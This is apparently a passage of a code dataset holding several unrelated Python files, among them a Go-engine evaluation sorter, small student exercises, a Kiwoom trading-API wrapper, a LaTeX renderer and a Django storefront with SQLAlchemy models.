re.compile(r\"\\[Leela\\s*Zero\\s*([0-9](\\.[0-9]+)+)?\\s+(networks)?\\s*\")\nname_extractor = re.compile(r\"PB\\[(.*)\\]PW\\[([^]]*)\\]\")\nmove_notation = re.compile(r\"([^:]*):_?([0-9a-f]{8})_([0-9a-f]{8})\")\n# network_dedup=\"s#\\([0-9a-f]\\{8\\}\\)\\(_\\1\\)\\?#\\1#\"\n\nvalid_networks = os.listdir(os.path.join(bucket, \"models\"))\nshort_nets = set(n[:8] for n in valid_networks)\nprint(\"{} networks\".format(len(short_nets)))\n\nos.chdir('eval')\nfor n in short_nets | {'../nonprod', '../unknown'}:\n try:\n os.mkdir(n)\n except FileExistsError:\n pass\n\nwith open(\"../versions\") as versions, \\\n open(\"../raw_moves\", \"w\") as raw_moves, \\\n open(\"../nonprod_moves\", \"w\") as nonprod_moves:\n for players in tqdm(versions):\n # Shorten hash\n players = players.strip()\n original = players\n players = shorten_hash.sub(r\"\\1\", players, re.I)\n players = leela_strip.sub(\"[\", players, re.I)\n names = name_extractor.sub(r\"\\1_\\2\", players, re.I)\n move_parts, n = move_notation.subn(r\"\\1 \\2 \\3\", names, re.I)\n if n == 1:\n f, n1, n2 = move_parts.split(\" \")\n move = \"{} {}_{}\\n\".format(f, n1, n2)\n if n1 in short_nets and n2 in short_nets:\n raw_moves.write(move)\n os.rename(f, os.path.join(n1, f))\n else:\n nonprod_moves.write(move)\n os.rename(f, os.path.join('../nonprod', f))\n else:\n # these files still need to be moved somewhere\n f = original.split(':')[0]\n os.rename(f, os.path.join('../unknown', f))\n\n if \"Human\" in original or \"networks]\" in original:\n continue\n print (original)\n print (players)\n print (names, move_parts, n)\n print ()\n\n","sub_path":"oneoff/leela-eval-process.py","file_name":"leela-eval-process.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"641615781","text":"#!/usr/bin/env python\n#\n# Copyright 2007 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport webapp2\nimport logging\nimport jinja2\nimport os\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), 'templates')\njinja_environment = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir))\n\n\ndef talk_like_a_pirate(sentence):\n \"\"\"Converts a sentence to pirate-speak.\"\"\"\n # Strip whitespace and punctuation.\n sentence = sentence.strip().rstrip('.!')\n\n # Lowercase the first letter of the sentence.\n sentence = sentence[0].lower() + sentence[1:]\n\n # Piratify the text.\n sentence = 'Yarr, ' + sentence + ', me hearties.'\n\n return sentence\n\nclass MainHandler(webapp2.RequestHandler):\n def get(self):\n sentence = 'Hello, world!'\n logging.info(\"you did it\")\n self.response.write(talk_like_a_pirate(str(sentence)))\n\nclass SecretHandler(webapp2.RequestHandler):\n def get(self):\n template = jinja_environment.get_template('profiles.html', 'my.css')\n self.response.out.write(template.render())\n logging.info(\"Good job, you didn't fail :}\")\n #self.response.write('What is the password?')\n\nclass HelloHandler(webapp2.RequestHandler):\n def get(self):\n name = self.request.get('name')\n school = self.request.get('school')\n template = jinja_environment.get_template('hello.html', 'my.css')\n self.response.out.write(template.render({'name':name, 'school':school}))\n\nclass ListStudentHandler(webapp2.RequestHandler):\n def get(self):\n students = [{'name': 'Evelyn', 'school':\"Evelyn's Place\"}, {'name':'Guillermo', 'school': \"Guillermo's Place\"}, {'name': 'Camilla', 'school': \"Camilla's Place\"}, {'name':'Alexander', 'school': \"Alexander's Place\"}]\n template = jinja_environment.get_template('list.html')\n self.response.out.write(template.render({'students':students}))\n\n\nclass GoodbyeHandler(webapp2.RequestHandler):\n def get(self):\n logging.info(\"Good job, you didn't fail :}\")\n self.response.write('See ya later!')\n for i in range(0,11):\n self.response.write('
  • %d' % i)\n self.response.write('')\n\napp = webapp2.WSGIApplication([\n ('/secretenterence', SecretHandler),\n ('/bye', GoodbyeHandler),\n ('/', MainHandler),\n ('/hello', HelloHandler),\n ('/list', ListStudentHandler)\n], debug=True)\n","sub_path":"cssi/hello-world/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"229376439","text":"from django.test import TestCase\n\nfrom graphene.test import Client\n\nfrom api.graphql.schema import schema\n\nfrom tests.factories import TrackFactory\n\n\nclass TrackQueryTestCase(TestCase):\n \"\"\"Test module for track queries\"\"\"\n\n def setUp(self):\n self.client = Client(schema)\n self.track1 = TrackFactory()\n self.track2 = TrackFactory()\n\n def test_list_all_tracks(self):\n \"\"\"Test list all tracks\"\"\"\n query_string = '''\n {\n trackList {\n totalCount\n results {\n id\n time\n }\n }\n }\n '''\n executed = self.client.execute(query_string)\n data = executed['data']['trackList']\n results = data['results']\n total_count = data['totalCount']\n self.assertEqual(len(results), 2)\n self.assertEqual(total_count, 2)\n\n def test_retrieve_track(self):\n \"\"\"Test retrieve track with id\"\"\"\n query_string = '''\n {\n trackRetrieve(id: \"%s\") {\n id\n time\n }\n }\n ''' % self.track1.id\n executed = self.client.execute(query_string)\n data = executed['data']['trackRetrieve']\n self.assertEqual(data['id'], self.track1.id.urn[9:])\n","sub_path":"app/tests/queries/test_track.py","file_name":"test_track.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"566268439","text":"#! usr/bin/python3\n\"\"\"\nPrograma perrasanti nauja tuple\n\"\"\"\nTUPLE1 = (1, 10, 'door', 'warm', True, False, None)\nNEW_TUPLE = TUPLE2 = ()\nfor ITEM in TUPLE1:\n if not isinstance(ITEM, int):\n NEW_TUPLE += (ITEM, )\nprint(TUPLE1, '\\n', NEW_TUPLE)\n\n","sub_path":"work2/tuple.py","file_name":"tuple.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"492028896","text":"#!/usr/bin/python3\n\n#------------------------------------------\n#\n# Creates a Tic Tac Toe game using python\n#\n# 1 Player vs Computer\n#\n# Must be able to determine the winner\n#\n#------------------------------------------\n\n# Draws the Tic Tac Toe board\n\ndef drawBoard(brdList):\n\tfor rowVal in brdList:\n\t\tprint(\"+ - - - + - - - + - - - +\")\n\t\tprint(\"| | | |\")\n\t\tprint(\"| \"+ str(rowVal[0])+\" | \"+str(rowVal[1])+\" | \"+str(rowVal[2])+\" |\")\n\t\tprint(\"| | | |\")\n\tprint(\"+ - - - + - - - + - - - +\")\n\n# Determine if the move is legit and available\ndef moveEval(num_move,uSER):\n\tglobal brdDict\n\tif num_move in brdDict:\n\t\tcoord=brdDict[num_move]\n\t\tupdateBoard(coord,uSER)\n\t\tdel brdDict[num_move]\n\t\treturn 1\n\telse:\n\t\tprint(uSER,\": Invalid Move. Move Again\")\n\t\treturn 0\n\ndef updateBoard(coord,uSER):\n\tglobal brd\n\ta,b=coord\n\tif uSER==\"HUMAN\":\n\t\tbrd[a][b]=\"O\"\n\telif uSER==\"COMP\":\n\t\tbrd[a][b]=\"X\"\n\telse:\n\t\tprint(\"User does not Exist\")\n\n# Computer Simulated Move\ndef compMove():\n\tfrom random import randrange\n\t\n\tif len(brdDict.keys())==0:\n\t\treturn\n\n\tnice_move=0\n\twhile nice_move==0:\n\t\tcomp_move=randrange(8)+1\n\t\tnice_move=moveEval(comp_move,\"COMP\")\n\t\ndef checkBoard(uSER):\n\t\n\tif uSER==\"HUMAN\":\n\t\tpiece=\"O\"\n\telif uSER==\"COMP\":\n\t\tpiece=\"X\"\n\telse:\n\t\tprint(\"\")\n\n\tfor a in brd:\n\t\tif a[0]==piece and a[1]==piece and a[2]==piece:\n\t\t\tprint(uSER,\"WON!\\n\")\n\t\t\treturn 1\n\tfor i in range(3):\n\t\tif brd[0][i]==piece and brd[1][i]==piece and brd[2][i]==piece:\n\t\t\tprint(uSER,\"WON!\\n\")\n\t\t\treturn 1\n\n\tif brd[0][0]==piece and brd[1][1]==piece and brd[2][2]==piece:\n\t\tprint(uSER,\"WON!\\n\")\n\t\treturn 1\n\telif brd[2][0]==piece and brd[1][1]==piece and brd[0][2]==piece:\n\t\tprint(uSER,\"WON!\\n\")\n\t\treturn 1\n\telse:\n\t\treturn 0\n\t\t\n\n\n\nbrd=[[1,2,3],[4,5,6],[7,8,9]]\nbrdDict={1:(0,0),2:(0,1),3:(0,2),4:(1,0),5:(1,1),6:(1,2),7:(2,0),8:(2,1),9:(2,2)}\ndrawBoard(brd)\n\nwhile True:\n\tif len(brdDict.keys())==0:\n\t\t# Add Code for final board check\n\t\tprint(\"\\nGame End\\n\")\n\t\tbreak\n\telse:\n\t\tgood_move=0\n\t\twhile good_move==0:\n\t\t\tuser_move=int(input(\"Enter Block Number to Move: \"))\n\t\t\tgood_move=moveEval(user_move,\"HUMAN\")\n\t\tdrawBoard(brd)\n\n\t\twin=checkBoard(\"HUMAN\")\n\t\tif win==1:\n\t\t\tbreak\n\n\t\tcompMove()\n\t\tdrawBoard(brd)\n\n\t\twin=checkBoard(\"COMP\")\n\t\tif win==1:\n\t\t\tbreak\n","sub_path":"python_institute/tic_tac_toe.py","file_name":"tic_tac_toe.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"470671833","text":"from django.shortcuts import render, HttpResponse, redirect, get_object_or_404\nfrom django.urls import reverse\nfrom django.conf import settings\nfrom django.core.paginator import Paginator\nfrom urllib.parse import urlparse\nfrom .models import Product, Pr_class, Sub_Pr_class, Account, Cart, Article, Order\nfrom .forms import RegisterForm, AuthorisationForm, HiddenCartForm\n\ndef category(request):\n\tpr_class_objects = Pr_class.objects.all()\n\tsub_pr_class_objects_dict = {}\n\n\tfor obj in pr_class_objects:\n\t\tsub_pr_class_objects = Sub_Pr_class.objects.all().filter(main_pr_class=obj)\n\t\tsub_pr_class_objects_dict[obj.name] = sub_pr_class_objects\n\n\treturn {\n\t\t'class_obj': pr_class_objects,\n\t\t'sub_pr_class_objects_dict': sub_pr_class_objects_dict\n\t}\n\n\ndef index(request):\n\ttemplate = 'index.html'\n\n\tmy_request = request.GET.get('sort')\n\tneed_replace = (str(my_request).find(' ',0,len(str(my_request))))!=-1\n\trequest_list = str(my_request).replace('/', '')\n\trequest_list = request_list.replace('_', ' ').split()\n\tif need_replace:\n\t\trequest_list[1] = request_list[1]+' '+request_list[2]\n\t\tdel request_list[2]\n\torderBy = False\n\n\tcurrent_page = 1\n\tif request_list!=['None'] and request_list[2]!='1':\n\t\tcurrent_page = int(request_list[2])\n\n\tif request_list!=['None'] and request_list[0]!='none':\n\t\tif request_list[0]=='name':\n\t\t\torderBy = 'product__name'\n\t\t\tfirst_href_part = '?sort=name_'\n\t\telif request_list[0]=='minPrice':\n\t\t\torderBy = 'product__price'\n\t\t\tfirst_href_part = '?sort=minPrice_'\n\t\telif request_list[0]=='maxPrice':\n\t\t\torderBy = '-product__price'\n\t\t\tfirst_href_part = '?sort=maxPrice_'\n\t\telse:\n\t\t\tfirst_href_part = '?sort=none_'\n\telse:\n\t\tfirst_href_part = '?sort=none_'\n\n\n\tif request_list!=['None'] and request_list[1]!='none' and str(request_list[1])!='None':\n\t\tclass_str = request_list[1] \n\n\t\tif class_str[0]=='^':\n\t\t\tclass_str = class_str[1:]\n\t\t\tclass_obj = Sub_Pr_class.objects.get(name=class_str)\n\t\t\tif orderBy:\n\t\t\t\tobjects = Article.objects.all().filter(product__sub_product_class=class_obj).order_by(orderBy)\n\t\t\telse:\n\t\t\t\tobjects = Article.objects.all().filter(product__sub_product_class=class_obj)\n\n\t\telse:\n\t\t\tclass_obj = Pr_class.objects.get(name=request_list[1])\n\t\t\tsub_class_obj_list = Sub_Pr_class.objects.all().filter(main_pr_class=class_obj)\n\t\t\tif orderBy:\n\t\t\t\tobjects = Article.objects.all().filter(product__sub_product_class__in=sub_class_obj_list).order_by(orderBy)\n\t\t\telse:\n\t\t\t\tobjects = Article.objects.all().filter(product__sub_product_class__in=sub_class_obj_list)\n\n\t\tsecond_href_part = '_' + request_list[1] + '_'\n\n\telse:\n\t\tif orderBy:\n\t\t\tobjects = Article.objects.all().order_by(orderBy)\n\t\telse:\n\t\t\tobjects = Article.objects.all()\n\t\tsecond_href_part = '_none_'\n\n\n\tif objects.exists():\n\t\thave_objects = True\n\t\tpaginator = Paginator(objects, 3)\n\t\tpage = paginator.get_page(current_page)\n\t\tdatalist = page.object_list\n\n\t\tif page.has_next():\n\t\t\tnext_page_url = first_href_part + second_href_part + str(page.next_page_number())\n\t\t\tif (request_list!=['None'] and request_list[2]!='1'): current_page = page.next_page_number()-1\n\t\telse:\n\t\t\tnext_page_url = None\n\t\t\n\t\tif page.has_previous():\n\t\t\tprevious_page_url = first_href_part + second_href_part + str(page.previous_page_number())\n\t\t\tif (request_list!=['None'] and request_list[2]!='1'): current_page = page.previous_page_number()+1\n\t\telse:\n\t\t\tprevious_page_url = None\n\n\t\tobject_count = datalist.count()\n\telse:\n\t\thave_objects = False\n\t\tnext_page_url = None\n\t\tprevious_page_url = None\n\t\tobject_count = 0\n\t\tdatalist = None\n\n\tis_guest = True\n\tif 'acc' in request.session.keys() and request.session['acc'] != 'гость': \n\t\tis_guest = False\n\n\thid_form = HiddenCartForm()\n\tif request.method == 'POST':\n\t\tif not is_guest:\n\t\t\tacc = Account.objects.get(name=request.session['acc'])\n\t\t\thid_form = HiddenCartForm(request.POST)\n\n\t\t\tif hid_form.is_valid():\n\t\t\t\tname = hid_form.clean_name()\n\t\t\t\tprint('----------------------')\n\t\t\t\tprint(name)\n\t\t\t\tprint('----------------------')\n\t\t\t\tproduct = Product.objects.get(name=name)\n\n\t\t\t\tif Cart.objects.all().filter(account=acc, product=product).exists():\n\t\t\t\t\tcart = Cart.objects.get(account=acc, product=product)\n\t\t\t\t\tCart.objects.all().filter(account=acc, product=product).update(pr_count=cart.pr_count + 1)\n\t\t\t\telse:\n\t\t\t\t\tnew_cart = Cart(account=acc, product=product, pr_count=1)\n\t\t\t\t\tnew_cart.save()\n\n\n\tcontext = {\n\t'objects': datalist,\n\t'ides': [i for i in range(object_count)],\n\t'href_name': '/?sort=name'+second_href_part+str(current_page),\n\t'href_min_price': '/?sort=minPrice'+second_href_part+str(current_page),\n\t'href_max_price': '/?sort=maxPrice'+second_href_part+str(current_page),\n\t'first_href_part': first_href_part,\n\t'prev_page_url':previous_page_url,\n\t'next_page_url':next_page_url,\n\t'current_page':'_'+str(current_page),\n\t'is_guest': is_guest,\n\t'form': hid_form,\n\t'have_objects': have_objects\n\t}\n\n\treturn render(request, template, context)\n\n\ndef login_home(request):\n\ttemplate = 'login_home.html'\n\n\tis_guest = False\n\tacc = request.session.get('acc', 'гость')\n\n\tif 'acc' not in request.session.keys():\n\t\trequest.session['acc'] = 'гость'\n\t\tis_guest = True\n\n\telif request.session['acc'] == 'гость':\n\t\tis_guest = True\n\n\tcontext = {\n\t\t'acc': request.session['acc'],\n\t\t'is_guest': is_guest\n\t}\n\n\treturn render(request, template, context)\n\n\ndef signup(request):\n\ttemplate = 'signup.html'\n\n\terror = 'Заполните пожалуйста данные поля'\n\tno_error = True\n\n\tif request.method == 'POST':\n\t\tregistration_form = RegisterForm(request.POST)\n\n\t\tif registration_form.is_valid():\n\t\t\tname = registration_form.clean_name()\n\t\t\tpassword = registration_form.clean_password()\n\t\t\tpassword_again = registration_form.clean_password_again()\n\n\t\t\tif password != password_again:\n\t\t\t\terror = 'Пароли не совпадают'\n\t\t\t\tno_error = False\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\tobj = Account.objects.get(name=name)\n\t\t\t\t\terror = 'Аккаунт с таким адресом электронной почты уже существует'\n\t\t\t\t\tno_error = False\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\t\t\tif name == 'гость':\n\t\t\t\t\terror = 'Пароли не совпадают'\n\t\t\t\t\tno_error = False\n\n\t\t\tif no_error:\n\t\t\t\trequest.session['acc'] = name\n\t\t\t\tnew_acc = Account(name=name, password=password)\n\t\t\t\tnew_acc.save()\n\t\t\t\treturn redirect('/home_of_login/')\n\n\telse:\n\t\tregistration_form = RegisterForm()\n\n\tcontext = {\n\t\t'registration_form': registration_form,\n\t\t'error': error\n\t}\n\n\treturn render(request, template, context)\n\ndef login(request):\n\ttemplate = 'login.html'\n\n\tno_error = True\n\terror = 'Заполните пожалуйста данные поля'\n\n\tif request.method == 'POST':\n\t\tauthorisation_form = AuthorisationForm(request.POST)\n\n\t\tif authorisation_form.is_valid():\n\t\t\tname = authorisation_form.clean_name()\n\t\t\tpassword = authorisation_form.clean_password()\n\n\t\t\ttry:\n\t\t\t\tobj = Account.objects.get(name=name)\n\t\t\t\tif password != obj.password:\n\t\t\t\t\tno_error = False\n\t\t\t\t\terror = 'Адрес электронной почты или пароль неверный'\n\t\t\texcept:\n\t\t\t\tno_error = False\n\t\t\t\terror = 'Адрес электронной почты пользователя или пароль неверный'\n\n\t\t\tif no_error:\n\t\t\t\trequest.session['acc'] = name\n\t\t\t\treturn redirect('/home_of_login/')\n\n\telse:\n\t\tauthorisation_form = AuthorisationForm()\n\n\tcontext = {\n\t\t'authorisation_form': authorisation_form,\n\t\t'error': error\n\t}\n\n\treturn render(request, template, context)\n\ndef logout(request):\n\ttemplate = 'logout.html'\n\t\n\trequest.session['acc'] = 'гость'\n\n\tcontext = {}\n\n\treturn render(request, template, context)\n\ndef cart_view(request):\n\ttemplate = 'cart.html'\n\n\tno_product = True\n\tif 'acc' in request.session.keys() and request.session['acc'] != 'гость': \n\t\tuser_acc = Account.objects.get(name=request.session['acc'])\n\t\tobj_cart = Cart.objects.all().filter(account=user_acc)\n\t\tobj_count_int = obj_cart.count()\n\t\tis_guest = False\n\t\tname = request.session['acc']\n\n\t\tif obj_cart.exists():\n\t\t\tno_product = False\n\n\telse:\n\t\tobj_cart = None\n\t\tis_guest = True\n\t\tname = None\n\t\tobj_count_int = None\n\n\tcontext = {\n\t\t'objects': obj_cart,\n\t\t'name': name,\n\t\t'is_guest':is_guest,\n\t\t'obj_count_int': obj_count_int,\n\t\t'no_product':no_product\n\t}\n\n\treturn render(request, template, context)\n\n\ndef product_view(request, slug):\n\ttemplate = 'product_detail.html'\n\n\tproduct = get_object_or_404(Product, slug=slug)\n\n\tis_guest = True\n\tif 'acc' in request.session.keys() and request.session['acc'] != 'гость': \n\t\tis_guest = False\n\n\tif request.method == 'POST':\n\t\tif not is_guest:\n\t\t\tacc = Account.objects.get(name=request.session['acc'])\n\n\t\t\tif Cart.objects.all().filter(account=acc, product=product).exists():\n\t\t\t\tcart = Cart.objects.get(account=acc, product=product)\n\t\t\t\tCart.objects.all().filter(account=acc, product=product).update(pr_count=cart.pr_count + 1)\n\t\t\telse:\n\t\t\t\tnew_cart = Cart(account=acc, product=product, pr_count=1)\n\t\t\t\tnew_cart.save()\n\n\tcontext = {\n\t\t'product':product,\n\t\t'is_guest':is_guest\n\t}\n\n\treturn render(request, template, context)\n\ndef clean_cart(request):\n\ttemplate = 'cart_delete.html'\n\n\tif 'acc' in request.session.keys() and request.session['acc'] != 'гость': \n\t\tis_guest = False\n\t\tacc = Account.objects.get(name=request.session['acc'])\n\t\tcart_objects = Cart.objects.all().filter(account=acc)\n\t\tfor obj in cart_objects:\n\t\t\torder = Order(account=obj.account, product=obj.product, pr_count=obj.pr_count)\n\t\t\torder.save()\n\t\tCart.objects.all().filter(account=acc).delete()\n\telse:\n\t\tis_guest = True\n\n\tcontext = {\n\t\t'is_guest': is_guest\n\t}\n\n\treturn render(request, template, context)","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"481596649","text":"from tr_option.base import KWTR\nfrom copy import deepcopy\n\n# [ OPT10018 : 고저가근접요청 ]\nclass Opt10018(KWTR):\n\n def __init__(self, core):\n super().__init__(core)\n\n self.rq_name = self.tr_code = 'opt10018'\n\n self.record_name_multiple = '고저가근접'\n self.header_multiple = [\n '종목코드', '종목명', '현재가', '전일대비기호', '전일대비', '등락률', '거래량', '매도호가', '매수호가', '당일고가', '당일저가',\n ]\n\n\n def tr_opt(self, input0, input1, input2, input3, input4, input5, prev_next, screen_no):\n # 고저구분 = 1:고가, 2:저가\n # 근접율 = 05:0.5 10:1.0, 15:1.5, 20:2.0. 25:2.5, 30:3.0\n # 시장구분 = 000:전체, 001:코스피, 101:코스닥\n # 거래량구분 = 00000:전체조회, 00010:만주이상, 00050:5만주이상, 00100:10만주이상, 00150:15만주이상, 00200:20만주이상, 00300:30만주이상, 00500:50만주이상, 01000:백만주이상\n # 종목조건 = 0:전체조회,1:관리종목제외, 3:우선주제외, 5:증100제외, 6:증100만보기, 7:증40만보기, 8:증30만보기\n # 신용조건 = 0:전체조회, 1:신용융자A군, 2:신용융자B군, 3:신용융자C군, 4:신용융자D군, 9:신용융자전체\n\n self.core.set_input_value('고저구분', input0)\n self.core.set_input_value('근접율', input1)\n self.core.set_input_value('시장구분', input2)\n self.core.set_input_value('거래량구분', input3)\n self.core.set_input_value('종목조건', input4)\n self.core.set_input_value('신용조건', input5)\n self.core.comm_rq_data(self.rq_name, self.tr_code, prev_next, screen_no)\n\n self.tr_data = deepcopy(self.core.receive_tr_data_handler[self.tr_code][screen_no])\n\n return self.tr_data\n","sub_path":"tr_option/opt10018.py","file_name":"opt10018.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"171843901","text":"#!/usr/bin/env python\n# kim writes things up really neatly\nimport os\nimport pygame\n\nclass Kim:\n\tdef __init__(self):\n\t\tself.header = r'''\n\\documentstyle[amssymb,amsmath,amsthm,bm]{article}\n\\newcommand{\\mx}[1]{\\mathbf{\\bm{#1}}} % Matrix command\n\\newcommand{\\vc}[1]{\\mathbf{\\bm{#1}}} % Vector command \n\\newcommand{\\T}{\\text{T}} % Transpose\n\\newcommand{\\BBR}{\\mathbb{R}}\n\\newcommand{\\BR}{\\mathcal{B}_{\\mathbb{R}}}\n\\newcommand{\\BC}{\\mathcal{B}_{\\mathbb{C}}}\n\\newcommand{\\D}{\\mathbb{D}}\n\\pagestyle{empty}\n\\begin{document}\n'''\n\t\tself.footer = r'''\n\\end{document}\n'''\n\t\tself.tempfile = 'kimtemp'\n\t\tself.dpi = 100\n\tdef render(self,math):\n\t\tlatex = self.header + math + self.footer\n\t\tfo = open(self.tempfile + '.tex','w')\n\t\tfo.write(latex)\n\t\tfo.close()\n\t\tos.popen('latex %s'%self.tempfile+'.tex')\n\t\tos.popen('dvipng -D %i -T tight -bg transparent %s.dvi'%(self.dpi,self.tempfile))\n\t\tsurf = pygame.image.load(self.tempfile+'1.png')\n\t\treturn surf\n\t\t\nkim = Kim()\n\n","sub_path":"oldprogs/mathworld/kim.py","file_name":"kim.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"16768498","text":"from turtle import *\ncolors = [\"red\", \"blue\", \"brown\", \"yellow\", \"grey\"]\nx = 3\nfor i in colors:\n color(i, i)\n for u in range(x):\n fd(100)\n lt(360/x)\n x += 1 \nexitonclick()\n","sub_path":"Fundamentals/Session3/Homework/turtle1.py","file_name":"turtle1.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"443395771","text":"from passlib.hash import pbkdf2_sha256 as sha256\nfrom run import db\nfrom flask_sqlalchemy import *\n\nclass DenunciarModel(db.Model):\n __tablename__ = 'Denuncias'\n __table_args__ = {\n 'autoload': True,\n 'schema': 'CanchasAlquiler',\n 'autoload_with': db.engine\n }\n @classmethod\n def find_by_lugar_persona(cls, id_lugar, id_persona):\n return cls.query.filter_by(id_lugar=id_lugar, id_persona=id_persona).first()\n\n def save(self):\n db.session.add(self)\n db.session.commit() \n\nclass CanchaModel(db.Model):\n __tablename__ = 'Cancha'\n __table_args__ = {\n 'autoload': True,\n 'schema': 'CanchasAlquiler',\n 'autoload_with': db.engine\n }\n def save(self):\n db.session.add(self)\n db.session.commit() \n\nclass LeGustaModel(db.Model):\n __tablename__ = 'LeGusta'\n __table_args__ = {\n 'autoload': True,\n 'schema': 'CanchasAlquiler',\n 'autoload_with': db.engine\n }\n @classmethod\n def find_by_lugar(cls,id_lugar):\n return cls.query.filter_by(id_lugar=id_lugar).first()\n\n @classmethod\n def find_by_lugar_nombre(cls,id_lugar,id_persona):\n return cls.query.filter_by(id_lugar=id_lugar, id_persona=id_persona).first()\n\n def save(self):\n db.session.add(self)\n db.session.commit() \n\nclass DireccionModel(db.Model):\n __tablename__ = 'HorarioNormal'\n __table_args__ = {\n 'autoload': True,\n 'schema': 'CanchasAlquiler',\n 'autoload_with': db.engine\n }\n \n @classmethod\n def find_by_ID(cls,lugar_id):\n return cls.query.filter_by(id_lugar=lugar_id).first()\n\n def save_to_db(self):\n db.session.add(self)\n db.session.commit()\n\n\nclass HorarioModel(db.Model):\n __tablename__ = 'HorarioNormal'\n __table_args__ = {\n 'autoload': True,\n 'schema': 'CanchasAlquiler',\n 'autoload_with': db.engine\n }\n def save_to_db(self):\n db.session.add(self)\n db.session.commit()\n @classmethod\n def find_by_lugar(cls,lugar_id):\n return cls.query.filter_by(id_lugar=lugar_id).first()\n\nclass LugarModel(db.Model):\n __tablename__ = 'Lugar'\n __table_args__ = { \n 'autoload': True,\n 'schema': 'CanchasAlquiler',\n 'autoload_with': db.engine\n }\n def commit(self):\n db.session.commit() \n @classmethod\n def find_by_nombre(cls, nombre):\n return cls.query.filter_by(nombre = nombre).first()\n\n def save_to_db(self):\n db.session.add(self)\n db.session.commit() \n\n\nclass UsuarioModel(db.Model):\n __tablename__ = 'Usuario'\n __table_args__ = { \n 'autoload': True,\n 'schema': 'CanchasAlquiler',\n 'autoload_with': db.engine\n }\n\n @classmethod\n def find_by_nombre(cls, nombre):\n return cls.query.filter_by(nombre = nombre).first()\n\n @classmethod\n def find_by_correo(cls, correo):\n return cls.query.filter_by(correo = correo).first()\n\n @staticmethod\n def generate_hash(password):\n return sha256.hash(password)\n \n @staticmethod\n def verify_hash(password, hash):\n return sha256.verify(password, hash)\n\n @classmethod\n def return_all(cls):\n def to_json(x):\n return {\n 'nombre': x.nombre,\n 'correo': x.correo\n }\n return {'nombre': list(map(lambda x: to_json(x), UsuarioModel.query.all()))}\n\n def save_to_db(self):\n db.session.add(self)\n db.session.commit() # this needed to write the changes to database\n\n def __repr__(self):\n return \"\".format(\n self.nombre, self.correo, self.clave)\n\nclass AlquilaLugarModel(db.Model):\n __tablename__ = 'AlquilaLugar'\n __table_args__ = {\n 'autoload': True,\n 'schema': 'CanchasAlquiler',\n 'autoload_with': db.engine\n }\n\n @classmethod\n def find_by_id_usuario(cls, id_persona_alquila):\n return cls.query.filter_by(id_persona_alquila = id_persona_alquila).all()\n\n @classmethod\n def find_by_lugar(cls, id_lugar):\n return cls.query.filter_by(id_lugar = id_lugar).all()\n @classmethod\n def verificar_alquiler(cls, id_lugar, fecha, hora):\n return cls.query.filter_by(id_lugar=id_lugar, fechaalquiler=fecha, horacomienzo=hora).first()\n\n def save(self):\n db.session.add(self)\n db.session.commit()\n\n\nclass DeporteModel(db.Model):\n __table_args__ = {'extend_existing': True}\n __tablename__ = 'Deportes'\n\n id = db.Column(db.Integer, primary_key=True) \n tipo_deporte = db.Column(db.String(50), nullable=False)\n id_lugar = db.Column(db.Integer, db.ForeignKey('Lugar.id'), nullable=True)\n\n @classmethod\n def find_by_lugar(cls, id_lugar):\n return cls.query.filter_by(id_lugar = id_lugar).all()\n\n def save(self):\n db.session.add(self)\n db.session.commit()\n\nclass RevokedTokenModel(db.Model):\n __tablename__ = 'revoked_tokens'\n id = db.Column(db.Integer, primary_key = True)\n jti = db.Column(db.String(120))\n \n def add(self):\n db.session.add(self)\n db.session.commit()\n \n @classmethod\n def is_jti_blacklisted(cls, jti):\n query = cls.query.filter_by(jti = jti).first()\n return bool(query)\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"198075328","text":"import time\nimport os\nimport logging\nfrom datetime import datetime, timedelta\nfrom threading import Thread\nfrom six.moves.queue import Queue, Empty\n\nimport pytest\nimport psycopg2\nfrom psycopg2 import sql\n\nlogger = logging.getLogger(__name__)\n\n\ndef create_database(db_name):\n dsn = os.environ.get(\n \"RS_TEST_DSN\", \"host=localhost user=postgres dbname={}\"\n )\n admin_dsn = dsn.format(\"postgres\")\n connection = psycopg2.connect(admin_dsn)\n connection.set_session(autocommit=True)\n with connection.cursor() as cursor:\n cursor.execute(\n sql.SQL(\"DROP DATABASE IF EXISTS {}\").format(\n sql.Identifier(db_name)\n )\n )\n cursor.execute(\n sql.SQL(\"CREATE DATABASE {}\").format(sql.Identifier(db_name))\n )\n connection.close()\n return admin_dsn\n\n\n@pytest.fixture(scope=\"session\")\ndef test_db_connection():\n \"\"\"\n Creates a source database for testing, including a simple schema, and\n passes connection to test\n \"\"\"\n dsn = os.environ.get(\n 